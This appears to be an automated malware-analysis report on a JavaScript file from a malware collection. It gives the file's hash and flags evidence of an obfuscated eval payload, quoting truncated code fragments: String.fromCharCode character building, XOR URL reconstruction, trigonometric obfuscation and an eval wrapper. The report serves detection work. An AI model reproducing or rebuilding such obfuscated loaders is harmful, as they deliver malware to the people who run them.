Suspicious ^80% javascript-malware-collection Download

20151217_16c65cb3f35731fdc17b258c85de78bb.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25601c096b4351665195bfa0914b366a35d7d05ffa2ce3a6a23664ab327a0ddcbc6

Evidence

Builds characters with String.fromCharCode line 2

2:162… '<','L',' ','h','J','x','t','b','u','x','x','.','Y','X','z','/',String.fromCharCode(10),'>','B','A','8','L','.','5','>',']','!',String.fromCharCode(13),'_','l','I',',','n','q','R','{','h','u','t','p','_','l','{','Z','Q','n','z','G','L','F','+','7','k',':','y','W','c','{','9',':','P','w',':','t','C','p','^','1','3','.','V','p','^','R','4',':','b','_','m','Y','D','{','=','e','I',',','8','#','x','/','2','J','=','1','A','7','i','S','k …

XOR URL reconstruction call line 2

2:1862… 'U','B','H','m',']','Z',' ','[','E','i','R','l','$','E','.','1',String.fromCharCode(92),':','Q','H',']',':','^','[','%','9','4','B','x','2','_','A','@','(','+','`','[','`','a','K','I','P','@','{','b','^',',','W','f','W','E','c','p','^','`','@','d','e','Z','(','F','w','$','?','f',' ','3','%','d','X','F','g','B','q','v','h','u','S',']','{','b','i','5','/','L','` …

Calls JavaScript toString conversion method lines 4–10

4:44… DPsVIi){WYpL=ILRiTRhbqbAUJJweN(ZawwqcrzAfw,amroFXGYJtKyT);QvPRW=WYpL.toString(izDPsVIi);return QvPRW;}
5function gDILiIxsBDFDMPy(ilyrmWuRWBchgHwMC,IiugIxwfixlJUoNXTxGxVfaIgPbIZmGMwQ,MAwPzVgmcHoNbJilncXiaGAEhiWANQFNGBo){eval(ilyrmWuRWBchgHwMC);}
6function QEiYRBbgQCSBlVdDRFJmXgZXOzEZkInNSPULHUpdpqYDhcGxyrJSEQ(BRnIoRllwLAME,xjIwEeezcXfyoE){ return LrfLpKr[hMrNmUaj[iCweJ(BRnIoRllwLAME[xjIwEeezcXfyoE],(2888+304)/114,(3765+185)/395)]];}
7function bDjlOJG(JxvYWknCBYfpzUMeHmSKxahwAeoxlbEbKgcl) {return !hyKSTeAwiHC(wNkYBevoCCRbyYc(JxvYWknCBYfpzUMeHmSKxahwAeoxlbEbKgcl)) && tcMvJztwifRU(JxvYWknCBYfpzUMeHmSKxahwAeoxlbEbKgcl);}
8function hyKSTeAwiHC(bHfjrdGLNNumNu) {return isNaN(bHfjrdGLNNumNu);}
9function tcMvJztwifRU(HOFZCPJWrLXbB) {return isFinite(HOFZCPJWrLXbB);}
10fu …

Dense indexed short-token grid lines 12–13

12:33… qPtTnRx,LiYLszHLXnc) {TQqFYSUHHWCMof[sgMVPWqPtTnRx]=LiYLszHLXnc;}
13var n = new Array();n[0]=[];n[0][0]='d';n[0][1]='a';n[0][2]='d';n[0][3]='a';n[0][4]='46';n[0][5]='3d';n[0][6]='42';n[0][7]='14';n[0][8]='3f';n[0][9]='14';n[0][10]='25';n[0][11]='14';n[0][12]='16';n[0][13]='47';n[0][14]='3k';n[0][15]='3d';n[0][16]='44';n[0][17]='3g';n[0][18]='3l';n[0][19]='3g';n[0][20]='49';n[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],n[4],n[5]];
20var SmXVmpVSP=[];
21function DMKgXqzvieYrJyJFN(nmUXP){CNIXriViDOl= '';fjzNXewaeyl=Math.round((Math.pow(Math.sin(174), 2) + Math.pow(Math.cos(174), 2) - 1));while(true){if (fjzNXewaeyl >= (499+413)/152){break;}SmXVmpVSP[fjzNXewaeyl]=Math.round((Math.pow(Math.sin(942), 2) + Math.pow(Math.cos(942), 2) - 1)); while(true) { if(SmXVmpVSP[fjzNXewaeyl] > nmUXP[fjzNXewaeyl].length-(677+242)/919) { break; } if (bDjlOJG(iCweJ(nmUXP[fjzNXewaeyl][SmXVmpVSP[fjzNXewaeyl]],(19171+765)/712,(-5+665)/66))) {CNIXriViDOl += QEiYRBbgQCSBlVdDRFJmXgZXOzEZkInNSPULHUpdpqYDhcGxyrJSEQ([nmUXP[fjzNXewaeyl][SmXVmpVSP[fjzNXewaeyl]]], Math.round((Math.pow(Math.sin(600), 2) + Math.pow(Math.cos(600), 2) - 1)));} SmXVmpVSP[fjzNXewaeyl]++;}fjzNXewaeyl++;} return CNIXriViDOl}
22var ZayOJXuaehmydHzrHanUzQCoEmxqdPgsG = 'beQRxjFyclzyFwouBpMzEQAmSTsKVelTSygA';var RaheYwmMHRqFFKAEFvjOPfcCqGmJOhFB = 'qxfhkFuntCTHnfidvuCTiMXOzMpHoxwhGWYY';gDILiIxsBDFDMPy(DMKgXqzvieYrJyJFN(nmUXP),ZayOJXuaehmydHzrHanUzQCoEmxqdPgsG,RaheYwmMHRqFFKAEFvjOPfcCqGmJOhFB);